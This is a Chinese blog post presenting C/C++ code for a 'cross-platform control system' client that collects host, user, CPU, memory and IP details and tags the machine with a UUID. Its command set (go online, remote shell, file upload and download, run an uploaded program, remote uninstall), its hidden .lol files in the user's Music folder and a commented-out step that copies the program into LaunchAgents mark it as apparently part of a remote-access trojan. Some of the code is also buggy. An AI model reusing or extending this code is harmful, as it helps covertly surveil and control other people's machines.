windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取
控制集成系统需要了解系统的各项硬件信息,之前我们设计的时候,习惯使用c函数来搞,后来可能发现程序的移植性收到了一些影响,比如unix内核的一些c函数在linux下面是没有的:
比如
苹果达尔文内核的如下东西,linux里面就没有:
//kern_return_t kr;
//host_name_port_t myhost;
// kernel_version_t kversion;
// host_basic_info_data_t hinfo;
// mach_msg_type_number_t count;
char *cpu_type_name,*cpu_subtype_name;
// vm_size_t page_size;
// myhost = mach_host_self();
// kr = host_kernel_version(myhost, kversion);
// count = HOST_BASIC_INFO_COUNT;
// kr = host_info(myhost, HOST_BASIC_INFO, (host_info_t)&hinfo, &count);
// kr = host_page_size(myhost, &page_size); //
所以换一种思路我们考虑使用,shell命令获取信息,完后进行字符处理,这样即使换了系统,我们代码里面换换shell命令就可以了。
使用到的一些结构体跟宏定义:
// Created by mac mac on 13-5-8.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
// #ifndef mac_client_mac_h
#define mac_client_mac_h
////////////////////////////////////////////////////////////////////////////////////////
/*
1.注意中文标点,编译器不容易察觉
2.server 和client端的宏定义大小要统一
*/
/////////////////////////////////////////////////////////////////////////////////////////
#define MAX_SIZE 1024
#define MAX_NAME_LENGTH 64
#define MAX_PATH 260 //保持和windows端定义的一样
#define MAX_PATH_MAC 256 //苹果的最大长度
#define FALSE 0
#define TRUE 1 #define MAX_SEND_BUFFER 1024*4
#define MAX_RECV_BUFFER 1024*4 ///////////////////////////////////////////////////////////////////////////////////////// typedef struct Command //自定义命令结构体
{
int order;//命令序号
long datasize;
void * hwnd;//窗口句柄 }Command; typedef struct Server_Address //服务器地址
{ char strIP[3][MAX_PATH];//服务器ip
unsigned int uPort[3] ; //服务器端口
char remark[MAX_NAME_LENGTH];
}Server_Address; typedef struct _SYS_INFO //到时候得增加备注
{
Command cmd;
char remark[MAX_NAME_LENGTH]; //备注
char computer_name[MAX_NAME_LENGTH]; //
char user_name[MAX_NAME_LENGTH]; //
char sys_version[MAX_NAME_LENGTH]; //
char cpu_type[MAX_NAME_LENGTH]; //
char host_ip_address[MAX_NAME_LENGTH]; //内网ip
char ip_addresss[MAX_NAME_LENGTH]; //外网ip
char uuid[MAX_NAME_LENGTH]; //被控端的唯一标识 unsigned int cpu_num; //
unsigned int mem_total; //
int host_id; //
}SYS_INFO; enum
{
COMMAND_BIGIN = 20000, //命令开始
TOKEN_ONLINE, //上线命令
COMMAND_BREAK, //断开链接
COMMAND_UNINSTALL, //卸载
COMMAND_MODIFY_REMARK, //修改备注
///////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_FILE, //打开文件管理窗口
COMMAND_GET_DIRECTORY, //获取控制端主机根目录下所有文件信息
COMMAND_GET_REQUEST_DIRECTORY, //获取双击请求目录中所有文件信息
COMMAND_SEARCH_FILE, //文件搜索,还没做
COMMAND_WRONG_DIRECTORY, //目录为空或者不可读
COMMAND_DELETE_FILE, //删除文件
COMMAND_FILE_CLOSE, //关闭当前文件管理功能的链接
////////////////////////////////////////////////////////////////////////// COMMAND_MANAGER_CMD, //打开cmd管理窗口
TOKEN_CMD_NEXT, //等待下一个命令
COMMAND_SHELL, //控制端请求的shell命令
COMMAND_SHELL_CLOSE, //关闭shell
//////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_DOWNLOAD, //打开文件下载功能
TOKEN_DOWNLOAD_SETUP, //控制端发送文件下载连接和uuid
COMMAND_GET_FILEDATA, //请求文件数据
TOKEN_SENT_FILEDATA, //发送文件数据
TOKEN_CANT_GET_DATA, //给控制端发送消息文件不可读
////////////////////////////////////////////////////////////////////////
COMMAND_MANAGER_UPLOAD, //开启文件上传
TOKEN_UPLOAD_SETUP, //接受文件上传连接
COMMAND_SENT_UPLOAD_DATA, //发送上传文件数据
TOKEN_UPLOAD_DATA, //请求上传文件数据
TOKEN_UPLOAD_COMPLETE, //文件上传完成
COMMAND_RUN_PROGARM, //上传运行的文件 COMMAND_UPLOAD_CLOSE, //关闭上传进程和连接 }; #endif
下面是代码:
Systeminfo.h
/*
* File: System_Info.h
* Author: Administrator
*
* Created on
*/ #ifndef SYSTEM_INFO_H
#define SYSTEM_INFO_H
#include <iostream>
#include <stdlib.h>
#include <string.h> #include <netinet/in.h> // for sockaddr_in
#include <sys/types.h> // for socket
#include <sys/socket.h> // for socket
#include <stdio.h> // for printf
#include <stdlib.h> // for exit #include <netdb.h>
#include <pthread.h> //for th/Users/twd/Desktop/NewPc/mainread
#include <stdbool.h> //for bool
#include <iconv.h> //for utf-8 gb2312
#include <sys/cdefs.h>
#include <sys/errno.h>
#include <sys/stat.h> //for dir
#include <unistd.h>
#include <dirent.h>
#include <arpa/inet.h> //honts, inet_addr
#include <ctype.h> //isdigit
#include <errno.h> //errno
#include <fcntl.h> //OWRONLY
#include <unistd.h>
#include <pwd.h> //for username
//#include <copyfile.h>
//#include <mach/host_info.h>
#include <netdb.h>
#include <grp.h>
#include "mac.h"
//#include <mach/mach.h> #include <sys/mount.h>
using namespace std; int GetDeviceInfo(SYS_INFO * si);//声明一下,传递一个结构体到引用
void writeBeizhuInfo(char *beizhu);//写备份文件
char * readUuidInfo(SYS_INFO* si);//读取生成的uuid
char * readUuid();
void writeUuidInfo_info();
bool GetHost(char *domainName,char * ip); char * readDirectory(char * directory);//上传文件的目录 int myexec(const char *cmd, string &resvec);//管道运行命令,得到一些系统信息 #endif /* SYSTEM_INFO_H */
实现:
//
// SystemInfo.cpp
// mac_client
//
// Created by mac mac on 13-5-21.
// Copyright (c) 2013年 __MyCompanyName__. All rights reserved.
// //#ifdef __cplusplus
//extern "C" {
//#endif //#include <iostream> #include "SystemInfo.h"
#include <stdlib.h> int beizhuaccess = 0; //标志位,备注有没有改变 bool GetHost(char *domainName,char * ip)
{ int i;
struct hostent *he;
struct in_addr **addr_list; //char * name = "www.csdn.net"; if ((he = gethostbyname(domainName)) == NULL)
{ // get the host info
herror("gethostbyname");
return NULL;
} // print information about this host:
printf("Official name is: %s\n", he->h_name);
printf(" IP addresses: ");
addr_list = (struct in_addr **)he->h_addr_list; for(i = 0; addr_list[i] != NULL; i++)
{
printf("%s ", inet_ntoa(*addr_list[i]));
sprintf(ip, "%s",inet_ntoa(*addr_list[i]));
} ///return
printf("\n"); return ip;
} void get_ip(SYS_INFO* si)
{
//char hname[128];
struct hostent *hent;
int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); //hent = gethostent();
hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
printf("%s\n",si->host_ip_address);
}
} char * readDirectory(char * directory)
{ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 //char path[MAX_NAME_LENGTH]; sprintf(directory,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(directory,zhuliuPath,login_name);
return directory;
} char * readUuid()
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp); return uuid; } char * readUuidInfo(SYS_INFO* si)
{
char path[MAX_PATH] = {0};
char *uuid = (char *)malloc(MAX_PATH_MAC); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名 // sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name); strcat(path, "/uuid.lol"); FILE *fp = fopen(path, "r");
fgets(uuid,MAX_NAME_LENGTH,fp);
fclose(fp);
strcat(si->uuid, uuid); return uuid; } void writeBeizhuInfo(char *beizhu)
{ char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
strcat(path, "/beizhu.lol");
//if (access(path,0)==0)
//{
FILE *fp = fopen(path, "w");
fputs(beizhu,fp);
//strcpy(si->remark, beizhu);
//}
fclose(fp);
}
int myexec(const char *cmd, string &resvec)
{
resvec.clear();
FILE *pp = popen(cmd, "r"); //建立管道
if (!pp)
{
return -1;
}
char tmp[1024]; //设置一个合适的长度,以存储每一行输出
while (fgets(tmp, sizeof(tmp), pp) != NULL)
{
if (tmp[strlen(tmp) - 1] == '\n')
{
tmp[strlen(tmp) - 1] = '\0'; //去除换行符
}
resvec.append(tmp);
}
pclose(pp); //关闭管道
return resvec.size();
} void writeUuidInfo_info()
{
FILE *fp = popen("uuidgen", "r");//打开管道,执行命令,生成uuid
char buffer[MAX_NAME_LENGTH] = {0};
while (NULL != fgets(buffer, MAX_NAME_LENGTH, fp)) //逐行读取执行结果并打印
{
printf(buffer);
}
//fclose(fp); char *login_name = (char *)malloc(MAX_NAME_LENGTH * sizeof(char)); struct passwd *pwd;
pwd = getpwuid(getuid());
login_name = pwd->pw_name; //获取当前用户名
char path[MAX_PATH] = {0}; sprintf(path,"/Users/%s/Library/Music",login_name);//创建的路径
//sprintf(path,zhuliuPath,login_name);
//*
// int IsHave=mkdir(path,S_IRWXU|S_IRGRP|S_IXGRP|S_IROTH);//创建LaunchAgents文件夹,把自身拷贝进去
// if(IsHave<0)//创建新目录
//{
// printf("mkdir failed\n");
// exit(0);
// }
string str_mkdir = "mkdir -p ";
str_mkdir.append(path);
string str_mkdir_result;
myexec(str_mkdir.c_str(),str_mkdir_result); strcat(path, "/uuid.lol");
FILE *fpf = fopen(path, "w");
int i = fputs(buffer,fpf); fclose(fpf); pclose(fp); } int GetDeviceInfo(SYS_INFO *si)
{
char temp[64]={0};
gethostname(si->computer_name,sizeof(si->computer_name)); struct passwd *passwd;
passwd = getpwuid (getuid());
struct group *group;
group = getgrgid (passwd->pw_gid); sprintf(si->user_name,"%s-%s",group->gr_name,passwd->pw_name); string str_kernel;
myexec("uname -sr",str_kernel);
cout<<str_kernel<<endl;
strcat(si->sys_version,str_kernel.c_str()); string str_cpu;
myexec("grep \"model name\" /proc/cpuinfo | cut -f2 -d:|head -1",str_cpu);
cout<<str_cpu<<endl;
strcat(si->cpu_type,str_cpu.c_str()); puts(si->computer_name); struct hostent *hent;
int i; gethostname(si->host_ip_address, sizeof(si->host_ip_address)); hent = gethostent();
//hent = gethostbyname(si->host_ip_address); printf("hostname: %s/naddress list: ", hent->h_name);
for(i = 0; hent->h_addr_list[i]; i++)
{
printf("%s/t", inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])));
memcpy(si->host_ip_address, inet_ntoa(*(struct in_addr*)(hent->h_addr_list[i])), sizeof(si->host_ip_address));
}
printf("%s\n",si->host_ip_address); string str_mem_total;
myexec("free -m |grep \"Mem\" | awk \'{print $2}\'",str_mem_total);
cout<<str_mem_total<<endl;
si->mem_total = atoi(str_mem_total.c_str());
// strcat(si->cpu_type,str_cpu.c_str()); printf("%s\n",si->user_name);
printf("%s\n",si->sys_version);
printf("%s\n",si->cpu_type);
printf("cpu:%d\n",si->cpu_num);
printf("memory:%d\n",si->mem_total); ///////////////////////////////////读备注文件//////////////////////////////////////////////////////
char path[MAX_PATH] = {0};
char beizhu[MAX_PATH_MAC] = {0}; sprintf(path,"/Users/%s/Library/Music",passwd->pw_name);//创建的路径
//sprintf(path,zhuliuPath,passwd->pw_name);
strcat(path, "/beizhu.lol");
if (access(path,0)==0)
{
FILE *fp = fopen(path, "r");
fgets(beizhu,MAX_NAME_LENGTH,fp);
fclose(fp);
beizhuaccess = 1; strcpy(si->remark, beizhu);
}
else
{
strcpy(si->remark, "default"); } ///////////////////////////////////////读取uuid////////////////////////////////////////////////////////
char uuidPath[MAX_PATH] = {0};
sprintf(uuidPath,"/Users/%s/Library/Music",passwd->pw_name);
strcat(uuidPath, "/uuid.lol");
if (access(uuidPath,0)==0)
{
readUuidInfo(si); }
else
{
writeUuidInfo_info();
readUuidInfo(si); } /////////////////////////////////////////////////////////////////////////////////////////////
return 0;
} //#ifdef __cplusplus
//} //#endif
搭建传输的socket平台参考下面博文:
http://blog.csdn.net/wangyaninglm/article/details/41940287
实现效果:
windows linux—unix 跨平台通信集成控制系统----系统硬件信息获取的更多相关文章
- windows linux—unix 跨平台通信集成控制系统----文件搜索
跨平台的网络通信,跟设备的集成控制,牵扯到在各种平台下的文件搜索问题,windows下面的已经有了. 地址如下: http://blog.csdn.net/wangyaninglm/article/d ...
- windows linux—unix 跨平台通信集成控制系统
首先,我们可以用到这个开源的开发包: mdk(Micro-Development-Kit)微量级软件开发包,提供几个常用类,主要实现了一个高性能的并发服务器引擎 使用c++开发,是一个跨平台的开发包, ...
- Linux下使用fstatfs/statfs查询系统相关信息
Linux下使用fstatfs/statfs查询系统相关信息 1. 功能 #include < sys/statfs.h > int statfs(const char *path, ...
- Linux查看系统硬件信息命令
Linux查看系统硬件信息命令 查看磁盘类型(是否SSD) cat /sys/block/sda/queue/rotational code:0 SSD盘 code:1 SATA盘 查看物理CPU个数 ...
- centos 7 查看系统/硬件信息及运维常用命令+联想Y430P无线网卡驱动安装
centos 7 查看系统/硬件信息及运维常用命令 当前环境:联想Y430P CentOS 7.3 [root@yan-001 ~] # uname -a # 查看内核/操作系统/CPU信息的Li ...
- 利用CMD查看系统硬件信息
利用CMD查看系统硬件信息对于在windows下查看系统信息大家一定不陌生了,我现在说几个最常用的方法,对命令感兴趣的朋友看看,(给菜鸟看的,老手就不要笑话我了,大家都是从那个时候过来的,^_^).一 ...
- android 获取系统硬件信息
一,首先设置权限访问: <uses-permission android:name="android.permission.READ_PHONE_STATE" /> ...
- (转)IBM AIX系统硬件信息查看命令(shell脚本)
IBM AIX系统硬件信息查看命令(shell脚本) 原文:http://blog.itpub.net/22085031/viewspace-1054015/ 查看IBM AIX系统的主机型号.序列号 ...
- Shell获取Aix/linux/unix机器上db2和os的信息并上传到指定服务器
(之前写过一篇类似的文章,当时传输文件用的是ftp,因为项目觉得ftp不够安全所以这次换成了scp,同时对脚本的一些地方也做了一些调整) 其实做这个东西还是因为项目的需求,需要获取某些机器(目前主要是 ...
随机推荐
- WmS简介(三)之Activity窗口是如何创建的?基于Android7.0源码
OK,在前面两篇博客中我们分别介绍了WmS中的token,同时也向小伙伴们区分了Window和窗口的区别,并且按照type值的不同将Android系统中的窗口分为了三大类,那么本篇博客我们就来看看应用 ...
- Android捕获全局异常
Android捕获全局异常 程序避免不了出现bug,导致程序崩溃,为了尽量不影响用户体验,可以全局捕获异常 效果图 异常捕获处理前 异常捕获处理后(将程序重新启动) 捕获异常的工具类 package ...
- JQuery 网页选项卡制作
网页选项卡可以较好的利用有限的页面来展示更多的元素,而使用JQuery来制作网页选项卡也是一件非常简单的事情.今天就来分享一个网页选项卡的制作小技巧. 引入所需库 选项卡原理 业务核心 完整小例子 引 ...
- (一三〇)UITextField的光标操作扩展
简介 在iOS开发中,有时候需要完全自主的定义键盘,用于完整的单词输入,例如计算机应用中,需要一次性的输入sin(,在移动光标时要完整的跳过sin(,在删除时也要完整的删除,这就需要对光标的位置进行精 ...
- UNIX网络编程——解决TCP网络传输“粘包”问题
当前在网络传输应用中,广泛采用的是TCP/IP通信协议及其标准的socket应用开发编程接口(API).TCP/IP传输层有两个并列的协议:TCP和UDP.其中TCP(transport contro ...
- 剑指Offer——二叉树
剑指Offer--二叉树 前言 数据结构通常是编程面试中考察的重点.在参加面试之前,应聘者需要熟练掌握链表.树.栈.队列和哈希表等数据结构,以及它们的操作.本片博文主要讲解二叉树操作的相关知识,主要包 ...
- 最简单的基于FFmpeg的解码器-纯净版(不包含libavformat)
===================================================== 最简单的基于FFmpeg的视频播放器系列文章列表: 100行代码实现最简单的基于FFMPEG ...
- jdbcTemplate的queryForList
jdbcTemplate的queryForList的使用方法如下,它不一样的地方是,它获得的结果,会再放到一个map里去: List rows = jdbcTemplate.queryForList( ...
- 后端分布式系列:分布式存储-HDFS 架构解析
本文以 Hadoop 提供的分布式文件系统(HDFS)为例来进一步展开解析分布式存储服务架构设计的要点. 架构目标 任何一种软件框架或服务都是为了解决特定问题而产生的.还记得我们在 <分布式存储 ...
- Java进阶(三十六)深入理解Java的接口和抽象类
Java进阶(三十六)深入理解Java的接口和抽象类 前言 对于面向对象编程来说,抽象是它的一大特征之一.在Java中,可以通过两种形式来体现OOP的抽象:接口和抽象类.这两者有太多相似的地方,又有太 ...